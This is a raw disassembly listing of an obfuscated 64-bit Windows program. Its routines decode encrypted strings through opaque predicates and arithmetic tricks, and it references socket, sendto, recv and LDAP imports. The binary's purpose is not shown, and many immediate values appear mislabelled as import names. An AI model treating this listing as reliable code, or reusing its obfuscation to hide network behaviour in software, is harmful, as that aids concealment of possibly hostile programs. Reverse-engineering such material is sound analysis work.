lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bfaf0
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x1400bf413
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bfb1e
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400bf413
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf8e0
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400bfd7c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bfb68
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400bfd7c
inc rax
cmp r8, rax
jne 0x1400bfb99
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400bf413
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfbc2
sub r10b, 0x78
movzx eax, r10b
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfde9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfbeb
sub r10b, 0x58
movzx eax, r10b
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfe4a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bf898
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bfea2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bfc4b
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0x1a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf413
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfc6e
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400bfe1f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bfc93
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x1400bfde9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf856
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
jmp 0x1400bfde6
lea edx, [r10 + 0x40]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x20
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400bfd43
lea edx, [r10 - 0x30]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400bfe1f
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfde9
sub r10b, 0x48
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 8
jmp 0x1400bfde6
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
sub r10b, 0x78
movzx eax, r10b
and al, bl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x1a8], cl
jmp 0x1400bfde6
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
mov byte [rbp + rdi + 0x1a8], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bf413
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400bf413
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bf413
lea rax, [rdi + r12]
and sil, al
mov ecx, Ordinal_30
sub cl, sil
lea r11d, [rcx + rcx]
add r11b, al
add r11b, bl
movzx r10d, dil
add r10b, 0x18
movzx eax, bl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x1a8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x60]
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x1a8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf413
lea rax, [rdi + r15]
and sil, al
mov ecx, recv
sub cl, sil
lea r11d, [rcx + rcx]
add r11b, al
add r11b, bl
movzx eax, byte [rbp + rdi + 0x1a8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf413
add r10b, 0x68
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bf410
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bf400
lea rdx, [rbp + 0x1739608]
jmp 0x1400bff14
lea rdx, [rbp + 0xc4a150]
jmp 0x1400bff14
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x938]
call fcn.1400042d0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x990], xmm0
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x9b0], xmm0
movups xmmword [rbp + 0x9c0], xmm0
movups xmmword [rbp + 0x9d0], xmm0
movups xmmword [rbp + 0x9e0], xmm0
movups xmmword [rbp + 0x9f0], xmm0
movups xmmword [rbp + 0xa00], xmm0
mov qword [rbp + 0xa10], rax
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x20]
call fcn.140002680
nop
mov rdx, rax
lea rcx, [rbp + 0x980]
call fcn.1400cd2a0
nop
lea rcx, [rbp - 0x20]
call fcn.140002820
mov eax, dword [rbp + 0x980]
test eax, eax
je 0x1400c6aea
cmp eax, 0x190
jge 0x1400c6aea
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005bf90
test al, al
jne 0x1400c2150
mov r9, qword [rbp + 0x998]
dec r9
lea rax, [rsp + 0x31]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x988]
lea rcx, [rbp]
call fcn.140004310
lea rdx, [rbp]
lea rcx, [rbp + 0x988]
call fcn.140004240
lea rcx, [rbp]
call fcn.140002820
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005bf90
test al, al
jne 0x1400c2150
mov byte [rbp + 0x2d8], 0xb0
mov byte [rbp + 0x2d9], 0x9e
mov byte [rbp + 0x2da], WSASetLastError
mov byte [rbp + 0x2db], WSASetLastError
mov byte [rbp + 0x2dc], 0x61
mov byte [rbp + 0x2dd], WSASetLastError
mov byte [rbp + 0x2de], 0x62
mov byte [rbp + 0x2df], 0xdf
mov byte [rbp + 0x2e0], 0x65
mov byte [rbp + 0x2e1], 0x64
mov byte [rbp + 0x2e2], Ordinal_211
mov byte [rbp + 0x2e3], 0x62
mov byte [rbp + 0x2e4], 0x65
mov byte [rbp + 0x2e5], 0x61
mov byte [rbp + 0x2e6], 0x90
mov byte [rbp + 0x2e7], __WSAFDIsSet
mov byte [rbp + 0x2e8], 0x62
mov byte [rbp + 0x2e9], Ordinal_143
mov byte [rbp + 0x2ea], Ordinal_143
mov byte [rbp + 0x2eb], Ordinal_211
mov byte [rbp + 0x2ec], 0xea
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ed], xmm0
mov qword [rbp + 0x2fd], rax
mov dword [rbp + 0x305], eax
mov word [rbp + 0x309], ax
movabs rsi, 0x133c552f6c707edf
movabs r15, 0x602da9ed1e327a5b
movabs r14, 0x39b4ff8e45517c9d
movzx ebx, byte [rsp + 0x31]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c0c22
movzx r11d, byte [rbp + rdi + 0x2d8]
mov edx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c0c19
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c015b
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x19
jmp 0x1400c01a1
je 0x1400c0bb1
inc rax
cmp r8, rax
je 0x1400c0b5c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0b06
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c0ae7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0ac5
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c0a7f
movzx r10d, dil
cmp r9, rdi
ja 0x1400c0c10
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400c01ce
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0xd
jmp 0x1400c0220
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c0a68
inc rax
cmp r8, rax
je 0x1400c0a43
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0a21
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0a07
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c09ec
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c09a7
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c06eb
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c06cd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c06a4
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c0682
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c0668
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c0648
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c062a
lea rcx, [r9 + 0x7a]
cmp r8, rcx
je 0x1400c060e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c05e1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c0230
mov r8, rcx
lea r9, [rcx + 2]
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400c0bf4
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400c0bd8
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400c03eb
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400c03d1
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400c03b7
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400c0597
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400c0529
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400c0230
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c04f8
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c04dc
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c04c2
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c04a6
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c0486
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c0468
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c0446
lea rcx, [r9 + 0xa]
cmp r8, rcx
ja 0x1400c0421
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c0407
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c0230
mov r8, rcx
lea r9, [rcx + 0x42]
jmp 0x1400c0230
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x6d
jmp 0x1400c0220
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x61
jmp 0x1400c01a5
sub r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2f
jmp 0x1400c0130
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x68
jmp 0x1400c0a98
sub r10b, 0x66
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x36
inc r9
dec rdi
inc rdi
jmp 0x1400c0113
sub r10b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 4
dec rdi
inc rdi
jmp 0x1400c0113
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c0b1f
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0b41
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6e
jmp 0x1400c0b44
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3c
jmp 0x1400c09bc
add r10b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xa
jmp 0x1400c0b6d
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 9
cmp r8, 5
jae 0x1400c0975
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400c086a
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 2
cmp r9, 0x400
jb 0x1400c0966
lea ecx, [r10 - 0x26]
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea ebx, [rdx + rdx]
jmp 0x1400c0a98
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x3b
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400c0994
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400c07bd
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0xb
jmp 0x1400c053e
sub r10b, 0x3e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4e
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1c
jmp 0x1400c0b6d
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c09bc
sub r10b, 0x36
movzx eax, r10b
and al, r11b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0b41
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x54
jmp 0x1400c0b1f
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x22
dec rdi
inc rdi
jmp 0x1400c0113
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c0113
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c0a98
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400c070e
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x19
jmp 0x1400c05ac
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0744
sub r10b, 0x6a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1a
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c0767
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x14
jmp 0x1400c0b1f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c0792
add r10b, 0xa
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x46
dec rdi
inc rdi
jmp 0x1400c0113
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c05ac
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c0a98
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c07e0
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x27
jmp 0x1400c0a98
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c080b
add r10b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x75
dec rdi
inc rdi
jmp 0x1400c0113
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0830
add r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x7b
jmp 0x1400c0b6d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c053e
sub r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x49
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c08a0
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x34
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
inc rax
cmp r8, rax
jne 0x1400c08c4
sub r10b, 0x16
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x66
jmp 0x1400c0b6d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c08eb
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400c09bc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0914
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0b44
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c0937
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x2e
jmp 0x1400c0b1f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c056a
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
dec rdi
inc rdi
jmp 0x1400c0113
mov byte [rbp + rdi + 0x2d8], bl
inc rdi
jmp 0x1400c0113
lea edx, [r10 - 0x68]
movzx eax, dl
and al, r11b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x28
add bl, dl
add bl, r11b
jmp 0x1400c0b1f
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [rcx - 0x5a]
jmp 0x1400c09bc
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x6b
add r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x73
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x2d8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400c0b6d
inc r10b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 7
jmp 0x1400c0b41
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x2b
jmp 0x1400c0b1f
sub r10b, 0x7b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x5d
dec rdi
inc rdi
jmp 0x1400c0113
sub r10b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x71
inc r9
dec rdi
inc rdi
jmp 0x1400c0113
lea ecx, [r10 + 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3f
jmp 0x1400c0a98
movzx r10d, dil
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x25
sub r10b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xf
add r10b, r11b
mov byte [rbp + rdi + 0x2d8], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c0113
lea ecx, [rdi - 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x57
inc r9
dec rdi
inc rdi
jmp 0x1400c0113
lea ecx, [rdi + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x77
dec rdi
inc rdi
jmp 0x1400c0113
movzx r10d, dil
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x45
add r10b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x41
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x2d8], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0113
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x7d
lea edx, [rdi + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x2d8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0x4b
movzx eax, byte [rbp + rdi + 0x2d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0113
sub r10b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 3
jmp 0x1400c0110
add r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x35
jmp 0x1400c0100
lea rdx, [rbp + 0x15540ac]
jmp 0x1400c0c29
lea rdx, [rbp + 0x145bf8b]
jmp 0x1400c0c29
lea rdx, [rbp + 0x2d8]
mov rcx, qword [0x14022e168]
call fcn.1400c90b0
mov r15, qword [0x14022e168]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x4c0], recv
mov byte [rbp + 0x4c1], WSACleanup
mov byte [rbp + 0x4c2], 0x75
mov byte [rbp + 0x4c3], 0x7e
mov byte [rbp + 0x4c4], 0x75
mov byte [rbp + 0x4c5], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x4c6], WSAGetLastError
mov byte [rbp + 0x4c7], Ordinal_50
mov byte [rbp + 0x4c8], 0x63
mov byte [rbp + 0x4c9], 0x7c
mov byte [rbp + 0x4ca], 0x7e
mov byte [rbp + 0x4cb], 0x76
mov byte [rbp + 0x4cc], 0x7b
mov byte [rbp + 0x4cd], 0x7d
mov byte [rbp + 0x4ce], 0x63
mov byte [rbp + 0x4cf], gethostname
mov byte [rbp + 0x4d0], 0x61
mov byte [rbp + 0x4d1], 0x67
mov byte [rbp + 0x4d2], gethostname
mov byte [rbp + 0x4d3], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x4d4], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x4d5], WSASetLastError
mov byte [rbp + 0x4d6], 0x7b
mov byte [rbp + 0x4d7], WSACleanup
mov byte [rbp + 0x4d8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x4d9], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x4da], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x4db], 0x66
mov byte [rbp + 0x4dc], Ordinal_45
mov byte [rbp + 0x4dd], Ordinal_45
mov byte [rbp + 0x4de], Ordinal_45
mov byte [rbp + 0x4df], 0xb1
mov byte [rbp + 0x4e0], 0xa6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e1], xmm0
movups xmmword [rbp + 0x4f1], xmm0
mov word [rbp + 0x501], ax
movabs r12, 0x4776c79481e90b21
movabs r13, 0xd66456bd85bb2163
movzx edx, byte [rsp + 0x31]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor esi, esi
cmp rsi, 0x43
jae 0x1400c1700
movzx r10d, byte [rbp + rsi + 0x4c0]
mov r14d, r10d
nop dword [rax + rax]
cmp r8, rsi
ja 0x1400c16f7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c0dcb
lea rcx, [rsi + r12]
mov rax, rcx
and rax, r14
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r14
add dl, 0x19
jmp 0x1400c0e11
je 0x1400c168c
inc rax
cmp r8, rax
je 0x1400c162f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c15e1
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c15b1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1591
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c1549
movzx r11d, sil
nop word [rax + rax]
mov rbx, r8
cmp r9, rsi
ja 0x1400c16ee
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c0e4c
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xd
jmp 0x1400c0e8c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c153a
inc rax
cmp r8, rax
je 0x1400c1515
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c14f3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c14d8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c14bc
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x1400c112a
nop dword [rax]
